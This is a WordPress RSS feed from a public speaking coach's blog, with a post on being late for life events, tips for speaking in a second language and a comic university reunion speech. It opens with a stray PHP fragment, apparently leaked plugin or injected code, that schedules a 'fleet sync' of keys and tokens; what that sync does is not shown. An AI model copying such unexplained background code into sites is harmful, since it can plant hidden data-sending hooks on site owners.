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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Entertaining speeches Archives - Now you're talking https://www.nowyouretalking.co.uk/category/entertaining-speeches/ Public speaking Wed, 24 May 2023 14:44:31 +0000 en-GB hourly 1 https://wordpress.org/?v=7.1 I’m late! https://www.nowyouretalking.co.uk/2023/02/27/im-late/ Mon, 27 Feb 2023 09:14:00 +0000 https://www.nowyouretalking.co.uk/?p=1503 I’m very rarely late for anything. Meetings, flights, theatre starts or project deadlines. If it’s in my calendar, I’m usually there. But I seem to have spent my life being late for key life events that society generally expects to…

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]]> I’m very rarely late for anything. Meetings, flights, theatre starts or project deadlines. If it’s in my calendar, I’m usually there. But I seem to have spent my life being late for key life events that society generally expects to happen at a certain time.

It all started with a due date. My debut. Expected 14 July in a local village hospital. Cancerian.

In the words of the White Rabbit:

“I’m late, I’m late for a very important date. 

No time to say goodbye, hello, I’m late, I’m late, I’m late.”

2 weeks late, in fact, refusing to come out, running out of oxygen, turning blue, blue flashing lights emergency dash from the village hospital to the North Middlesex in Edmonton. I made it! Late, but not too late. Leo. And technically, I suppose, a Londoner.

The years rolled by and I found myself late going to university. This time was a deliberate plan. Go to Paris to finesse my French while working as a waitress in hotels, before going to Exeter to study French and philosophy.

I got even later as I decided to go to Germany and hone my German, still working in hotels and loving languages.

Not sure what happened, but instead of Exeter I found myself in Scotland, studying hotel, catering and tourism… of course, with some languages thrown in!

Consequently, I was late getting a permanent job. I loved the academic world and just couldn’t tear myself away. Until I decided it doesn’t pay enough! What job could I do? I chose market research because it had the word research in its name and that’s what I’d been doing for most of the previous decade.

As a market researcher I gave a lot of presentations and conference papers. I’d received the cursory presentation skills training. I don’t think it was much help. I was vaguely competent… But certainly not connected or engaging. If only I’d known then what I know now!

And now I’ve realised that I was also late finding my ideal job.

Online, I kept doing these tests to find your ideal job, the one that suits you best. Most seemed to tell me my career choice as a market researcher was number 11 and that there were 10 jobs better suited to me. I wasn’t prepared to pay the money they wanted to reveal my top 10. But after completing my Distinguished Toastmaster, I think I’ve found it.

I started Now You’re Talking my own business as a public speaking coach.

My friend, Sally, heard me doing some one-to-one coaching and I overheard her say “Now there’s a Lyn I haven’t seen for a long time”.

Dream job. Late, but hopefully not too late.

I’m definitely still chasing something, but I’ve no idea what it is! Too late? Watch this space!

PS Bonus tip if you struggle to deliver talks and presentations that run to time

 

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]]> Giving speeches in other languages https://www.nowyouretalking.co.uk/2019/02/03/giving-speeches-in-other-languages/ Sun, 03 Feb 2019 21:12:07 +0000 https://www.nowyouretalking.co.uk/?p=823 Many of us find it hard enough to give an effective speech or presentation in our mother tongue. So, imagine trying to do it in a second or even third language. Fortunately, with the right coaching and practice, you can…

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Many of us find it hard enough to give an effective speech or presentation in our mother tongue. So, imagine trying to do it in a second or even third language. Fortunately, with the right coaching and practice, you can learn the necessary speaking skills and they are transferable so that giving speeches in other languages is achievable.
For as long as I can remember, I’ve had a passion for languages – speaking them and the insights they give you into other people, countries and cultures.
I decided to put my money where my mouth is and take on the challenge of crafting and delivering speeches in French; my second language. Here’s a snippet from a recent speech about a trip to Champagne – Dans les champs de Champagne.

Tips for giving speeches in other languages

My challenge to self is going well. Furthermore, here are some tips I’ve picked up about giving speeches in a second language:
  • The skills are, indeed, transferable
  • You need to allow yourself more time to prepare – unless you are completely bilingual, the process takes a bit longer
  • Having a mentor or coach is not just a good idea; it’s essential to get inside the language and culture
  • A growth mindset is a huge asset
  • Connection, not perfection has never been more meaningful
  • People really appreciate you making the effort to speak their language; it’s a powerful sign of respect.

Why it’s worth the effort

This experience is giving me even more respect for people who give speeches in a language that is not their mother tongue. It’s something many of you are required to do in your professional lives and, sometimes, in your personal lives. Don’t be put off. Transfer your skills and you can be on the way to giving speeches in other languages.
Follow my progress at https://www.nowyouretalking.co.uk/journal/

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]]> Student days are the best days of your life … a reunion speech https://www.nowyouretalking.co.uk/2018/07/03/student-days-are-the-best-days-of-your-life-a-reunion-speech/ Tue, 03 Jul 2018 19:54:01 +0000 https://www.nowyouretalking.co.uk/?p=556 I have just had the real pleasure of delivering the speech at our university reunion dinner. Thanks to everyone there, we had such fun. Click here to hear the speech or read on …  1980 was a vintage year, wasn’t…

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]]> I have just had the real pleasure of delivering the speech at our university reunion dinner. Thanks to everyone there, we had such fun.

Click here to hear the speech or read on … Reunion speech

1980 was a vintage year, wasn’t it?

It gave us …

The very first episode of Yes Minister.

The 2,000th episode of Coronation Street.

We even came third in Eurovision!  Imagine!

And, bizarrely not making the news headlines was Friday 3 October 1980, our first day together at Ross Hall.

The ’80s were a different world, weren’t they?  A world before smartphones and tablets.  A world before bank accounts in credit.  A world before responsibility.

I grant you, on that first day, Prof Beavis did his best to inject a note of responsibility.  “Look to your left.  Look to your right.  And in three years’ time, one of you won’t be here!”

And maybe it worked … For a while.  But it didn’t last!

We were risk takers, some might say chancers!

Why would you play it safe going to lectures when there was a big wide world out there to discover?  Some have the enviable record of only attending one lecture in a whole term … Kath Morton.  Makes my attendance at seven accountancy and finance lectures in a year look positively studious.  But the prize surely goes to Bill Pringle, aka Pringy-Poohs!  Following an impressive run of absenteeism, he came face to face with David Gee who uttered the immortal words … “And can I ask, who are you?”

As risk takers, we did our best to poison ourselves – fried egg sandwiches, mutton pies, pints of heavy – I still can’t pronounce that word! – snakebite, sherry, Litre Vin, magic mushrooms … from the field next to Ross Hall.  Killer kebabs, curries, fish suppers and all those after-hours’ burger binges at the Ad Lib.  Then, of course, there was the inevitable stop at Gregg’s, between Crookston and main campus for sausage rolls and apple turnovers.  They’ve gone up in price a bit.  Did anyone buy shares?

There’s that unforgettable experiment to turn a mini into a people carrier.  How many people can you get into a mini and still drive it?  How many? [shout out].  Hands up if you were there … 11 of you.  We know who you are!

We were resourceful

Graeme’s early addiction to space invaders apparently paid for most Ross Hall party booze.

We ate inspirational signature dishes such as mango chutney toasties to save money for the really important essentials … like beer

Lawton used his hot-off-the-production-line Mini Metro to make his fortune by charging people the princely sum of 10p petrol money to ferry them to lectures.

We could spot future trends

Like cross-dressing.  I don’t think they were alone, but Graeme with Chris Wilson dolled up as a girl, won them best-dressed couple at a Vicars and Tarts.  Thanks go to Claire Dobie for wardrobe, hair and make-up.

We even learnt a thing or two, although perhaps not always what was intended!

  • Wine tasting, of course.
  • Without Derrick Kennedy and John McKee, Elise reckons her clam chowder would always be out of a tin, or a can as they liked to call it.
  • John Heeley, determined to teach us to have our own thoughts and opinions, gave us interesting essays to write, such as Why can public executions in England and France be considered a leisure activity? And the crucial learning, to keep a steady hand and never spill a drop of beer.  John very sadly died last year.
  • Kit Jenkins taught us listening skills as he delivered most of his lectures in little more than a whisper
  • Alistair Goldsmith taught us not to put up with any nonsense from guests, however much they’re paying! This led to Elise ‘accidentally’ tipping a heavy serving dish full of hot potatoes into the lap of a man who had his hand … up her skirt!
  • All that silver service didn’t always go according to plan. Shereen at an Epicureans’ dinner, serving extra-hard sorbet out of a pineapple managed to send it travelling down a guest’s immaculate black dinner suit. Fortunately, he had a good sense of humour
  • Ian got short shrift from the Prof for picking up a bread roll in his bare hand and plonking it on the Prof’s side plate … untouched by spoon or fork!
  • Flambéed spaghetti. Steak Diane.  Peeling bananas with a knife and fork and then setting fire to them.  All that brandy going up in flames. What a waste!

Vienna was our song.  If you haven’t seen the Elise and David M rendition, where were you?!  So stunning, it cleared dance floors.  Perhaps they can give us a re-run later?

I don’t dance, but even I was known to dance to Vienna –– after 10 pints, speaking fluent dolphin and barely able to stand.  I was shocked to learn that Pringy-Poohs doesn’t think we’d have got very far in Strictly!

Vienna even summed up lectures for some.  This means nothing to me eeeeconomics.  You’ll be pleased to hear, I also need 10 pints to sing!

We’ve come a long way since those graduation-year ambitions to live life to the full, buy a hotel, burst out of a 36C bra or be home when ET phones.

We’ve met friends here.  Sadly, we’ve also seen some pass away.  Some of you even met your partners here.

While many, if not all of us, are no longer working in hotels, if we ever were, most of us seem to have been in some area of leisure or tourism.  And the really lucky have retired.

So what does the future hold?  We know what NOT to do:

  • Don’t get drunk on sherry – too painful; or whiskey – memory failure
  • Don’t waste your student days, they are the best years of your life. Make every day great.
  • Don’t be afraid. We are strong.  We’ve survived heart attacks, cancer, knee replacements, floating across the Atlantic in a life-threatening storm, driving through a war zone in an effort to win the Commonwealth Games for Glasgow.  We can survive anything, even excruciatingly embarrassing performances at international evenings.

And we know what we have to do to move forward:

  • As Kath says, Do some bloody work! But remember work-life balance
  • Do the things you love – golf, breed puppies, retire as soon as possible and become the oldest chalet girl in town
  • Dive right in or as Lawton says when evacuating an aircraft “Stay on your feet and keep moving”
  • Take care of your hair
  • Dance down Hope Street or any street singing Oh what a perfect day, Oh flower of Scotland or anything else that feels good!

If I’ve learnt anything over the years, it’s that it’s better to give than to receive, so as I’ve laid off the wine most of the evening to give this speech, please feel free to buy me a drink later!

Remember your family and friends.  They are precious.

We don’t know what’s to come compared to what has been, but, in the words of Abraham Lincoln “it’s not the years in your life that count; it’s the life in your years”.  We’ve got away with it so far.  Here’s to the next 38 years!

Raise your glasses, please …. To Strathclyde, the Sottish Hotel School and, of course, Graeme for organising this fabulous evening.

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